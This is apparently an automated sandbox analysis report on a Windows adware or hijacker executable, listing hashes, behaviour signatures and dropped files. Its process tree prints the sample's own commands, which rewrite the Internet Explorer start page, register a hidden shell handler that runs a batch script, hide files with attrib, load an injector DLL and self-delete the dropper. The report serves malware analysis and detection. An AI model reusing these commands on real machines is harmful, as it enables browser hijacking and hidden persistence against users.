Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-10-2024 17:34

General

  • Target

    412de37826df742a7e69fe45764d2bf2_JaffaCakes118.exe

  • Size

    160KB

  • MD5

    412de37826df742a7e69fe45764d2bf2

  • SHA1

    bb6017167e8551ead762e3bd3f369b420307dea6

  • SHA256

    f62a1616b773c81151f79e31b12418e08cada68f552b5e5976f654888319c57f

  • SHA512

    b03701c1205f50f40f5e6993657e2b217dfbf81911784577776ae77dd05777f81a2bc010a6d261e3fbce43119a9eb9f24446b116fcc4b0081448bbc097b6ad66

  • SSDEEP

    1536:l/wS1UTIiOKi/g2ipYB94DPLY6xs/uwpEIxyMrFb4IuSmS+K:FaJVi/SiB6DHzwpDjrSf4

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\412de37826df742a7e69fe45764d2bf2_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\412de37826df742a7e69fe45764d2bf2_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\glk_300_211.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\dataread\1.bat
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1640
        • C:\PROGRA~1\INTERN~1\iexplore.exe
          C:\PROGRA~1\INTERN~1\IEXPLORE.EXE http://wWW.cnkankan.com/?82133
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:304
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:304 CREDAT:275457 /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2168
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\dataread\1.inf
          4⤵
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1160
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\dataread\2.bat
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2256
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?o"" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Modifies Internet Explorer start page
            PID:1372
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?o"" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Modifies Internet Explorer start page
            PID:2976
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\tmp" /v "key" /d ""http://www.82133.com/?o"" /f
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1676
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}" /v "IsShortCut" /d "" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:1680
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)\Command" /v "" /d "wscript -e:vbs ""C:\Users\Admin\AppData\Roaming\dataread\3.bat""" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:924
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h C:\Users\Admin\AppData\Roaming\dataread\tmp\a.{971C5380-92A0-5A69-B3EE-C3002B33309E}
            5⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:1328
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h C:\Users\Admin\AppData\Roaming\dataread\tmp
            5⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:2140
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\dataread\2.inf
            5⤵
              PID:3032
              • C:\Windows\SysWOW64\runonce.exe
                "C:\Windows\system32\runonce.exe" -r
                6⤵
                  PID:1488
                  • C:\Windows\SysWOW64\grpconv.exe
                    "C:\Windows\System32\grpconv.exe" -o
                    7⤵
                      PID:704
                • C:\Windows\SysWOW64\rundll32.exe
                  rundll32 D:\VolumeDH\inj.dat,MainLoad
                  5⤵
                    PID:2352
            • C:\Users\Admin\AppData\Local\Temp\inl97BF.tmp
              C:\Users\Admin\AppData\Local\Temp\inl97BF.tmp
              2⤵
                PID:2476
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\412DE3~1.EXE > nul
                2⤵
                  PID:2748

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\cdf1912.tmp

                Filesize

                645B

                MD5

                4cafe2ab2ae87e0e3a16f6bd99e92437

                SHA1

                45757e5b258e3190ea4d4b092375bded4d5ea4fd

                SHA256

                90896bc5f40509bc3ed86e17cae17da22b4f4ab0e424dc4557b24eccc53429ce

                SHA512

                123a945a361a07a356361e796159406bff31dbfbe68afaa1f22e144dc2b4025d23112844db70e651b9ee41f674d8efb4cd10b23ee4992d9538de7ada6534f2ac

              • C:\Users\Admin\AppData\Local\Temp\glk_300_211.bat

                Filesize

                55B

                MD5

                6f40aa13b4733d99a56ea538082114a1

                SHA1

                b267129b905c29bf1a74cad85bf6a31e6f5da4c1

                SHA256

                3f7525c06ba96afb5b39c5c84e229448cfe7da22474a6e351111bc13070e7413

                SHA512

                16d5b9f62cbff8063f9a1db44eb77e9981d659deb6b96603d9fa9365455ad41d6934d386c7740c4c53afa85b9a839b8a0d43db76090f125c9950fba608b3ab8c

              • C:\Users\Admin\AppData\Roaming\dataread\1.bat

                Filesize

                3KB

                MD5

                b21e4f653320b34a01a860b1cf00c861

                SHA1

                3de8c41f014512ec793c3452b3c96f832644b0f0

                SHA256

                29a23c064b35e49d619825b67bf8b01ad6ba4c65e50e167bd69416cdca92d4bf

                SHA512

                6f791ca6c1929779e8c72b4c5c3ec79c8bd134845679e17915a4758a03b847efe5454fefe3af8be1eb17277ba73612d1534d09734c171f82b7ac351893cd8d9c

              • C:\Users\Admin\AppData\Roaming\dataread\1.inf

                Filesize

                410B

                MD5

                66a1f0147fed7ddd19e9bb7ff93705c5

                SHA1

                9d803c81ea2195617379b880b227892ba30b0bf6

                SHA256

                4f45ce85e221352f7fe26e04968c7f7267dc24b55cf2b72b929b4c90e48cb764

                SHA512

                cfe51756ddec75d240249980a4d27870d15983add25058e4d0da4d8a3ea11384d4d228d6cbc95091f91e516e1ab4dfb1e315941dbd95bf717d4b31936311d597

              • C:\Users\Admin\AppData\Roaming\dataread\2.bat

                Filesize

                3KB

                MD5

                6b78cb8ced798ca5df5612dd62ce0965

                SHA1

                5a9c299393b96b0bf8f6770e3c7b0318a9e2e0cf

                SHA256

                81f64f42edfac2863a55db8fabd528c4eefc67f7e658cad6a57eeec862e444e3

                SHA512

                b387ba10021f3284d1406d520a2c8b3ba0c87922d67c79394c1aa50c631194519ac6bb5b898956533f040d48e1c7b202734e0075f8fc8c8bfab82c8ef359b28e

              • C:\Users\Admin\AppData\Roaming\dataread\2.inf

                Filesize

                249B

                MD5

                ddf8482343b38e425558a5ea06c99cdb

                SHA1

                1109e4d5ef572915cafa82327d4537696d746e53

                SHA256

                c054ba607ea2db904ef8bf8ab83a4e68dbf32c1b41cfd6e71fd550e886f44de7

                SHA512

                aacdc2702b58cbcbb73d11dc73c09caa84cbbc50438cbdaf46557ba38249b881bbe08487341a2deec5372b742b7055e8633f7f5008808a713c0f9611c8809e7b

              • C:\Users\Admin\AppData\Roaming\dataread\4.bat

                Filesize

                12.3MB

                MD5

                1fac82535922f25e9a1c46743f0d9233

                SHA1

                98efb7cd650db82249499314b3716a910b76287b

                SHA256

                a91c622f499e87b4bc67a04a2c457c0a14acbb2b556069ec3d354899d45fed34

                SHA512

                a6ab90b7c198c21c6b617c3cae4740b9f11383f27c205903476e6930324eedeac53483ea17297d61ab104b39c858ab5f1905393802e5170c113dd33956254bcb

              • memory/304-49-0x00000000027B0000-0x00000000027C0000-memory.dmp

                Filesize

                64KB

              • memory/2708-0-0x0000000000400000-0x0000000000428000-memory.dmp

                Filesize

                160KB

              • memory/2708-6-0x0000000000400000-0x0000000000428000-memory.dmp

                Filesize

                160KB

              • memory/2708-85-0x0000000000400000-0x0000000000428000-memory.dmp

                Filesize

                160KB